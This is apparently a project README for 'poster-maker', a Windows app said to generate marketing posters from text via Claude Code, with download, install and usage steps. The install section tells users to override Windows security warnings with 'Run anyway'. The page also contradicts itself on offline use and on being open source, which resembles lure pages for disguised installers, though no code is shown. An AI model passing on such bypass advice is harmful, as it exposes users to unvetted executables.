poster-maker

# 🎨 poster-maker - Create Posters Without Design Tools poster-maker is a simple application that helps you create marketing posters by describing what you want. It uses Claude Code to turn your descriptions into well-made designs. You don't need any design software or experience. Just type your idea, and poster-maker will do the rest. The app works by turning your text into images using standard web technologies like CSS and HTML, then saving the result as a PNG file. It handles everything in the background so you only see the final poster. ## ⚙️ System Requirements - Windows 10 or later (64-bit recommended) - At least 4 GB of free RAM - Minimum 500 MB of free disk space for installation and output files - Internet connection during setup for initial download only - Screen resolution 1280x720 or higher for the best viewing experience ## 🛠️ Main Features - Create posters with easy text commands - Export final designs as PNG image files - Uses Claude Code to generate designs from your text - Supports common marketing poster styles - Simple interface with no design skills needed - Works offline once installed ## 🚀 Getting Started 1. Click the download button to get the latest version of poster-maker. 2. On the download page, look for the latest release (e.g., `v1.0` or higher). 3. Find the file named similar to `poster-maker-setup.exe`. This is the installer. 4. Click on the installer file name to start downloading it to your computer. ## 📥 How to Download and Install poster-maker on Windows 1. Once the download finishes, open your Downloads folder or wherever your browser saves files. 2. Look for the `poster-maker-setup.exe` file. 3. Double-click the file to start the installation process. 4. If Windows shows any security warnings, click "More info" and then "Run anyway" to continue. 5. Follow the installation steps: - Agree to the license terms - Choose the installation folder or use the default location - Click "Install" 6. Wait until the installer completes. It may take a minute or two. 7. When done, click "Finish." ## ▶️ How to Run poster-maker 1. After installation, find the poster-maker app icon on your desktop or in the Start menu. 2. Click the icon to open the app. 3. The app window will appear with a simple text box and some buttons. 4. Type what you want your poster to say or show. For example, "Summer Sale, 50% Off, Bright and Bold Style." 5. Click the "Generate Poster" button. The app will create your poster based on the text. 6. When the poster appears, use the "Save" button to export it as a PNG image file. ## 🧰 Using poster-maker ### Step 1 — Enter Your Poster Idea Write a sentence or a few words describing your poster's message and style. Keep it simple. Examples: - "Grand Opening Sale, red and white colors, big text" - "Event flyer, modern look, blue background" - "Restaurant menu poster, elegant font" ### Step 2 — Generate the Poster Press the generate button. poster-maker transforms your words into a visual design automatically. This may take a few seconds. ### Step 3 — Review and Save Look at the poster shown on the screen. If you like it, click the save option to create a PNG file you can share or print. If you want to try again, update your text and generate a new poster. ## ❓ Troubleshooting - If the app won't open after installation, try restarting your computer. - Make sure your Windows system is up to date. - If the poster doesn't generate, check your internet connection during the first launch. - For any crashes, re-run the installer to repair the app. - Save your work often to avoid losing your poster designs. ## 📜 License and Open Source poster-maker is open source software. You can find the full source code and contribute on GitHub. It uses Claude Code technology and standard web tools for poster generation. ## 👥 Get Help or Report Issues If you find bugs or have questions, use the GitHub Issues page. Please provide detailed information, including your Windows version and a description of the problem.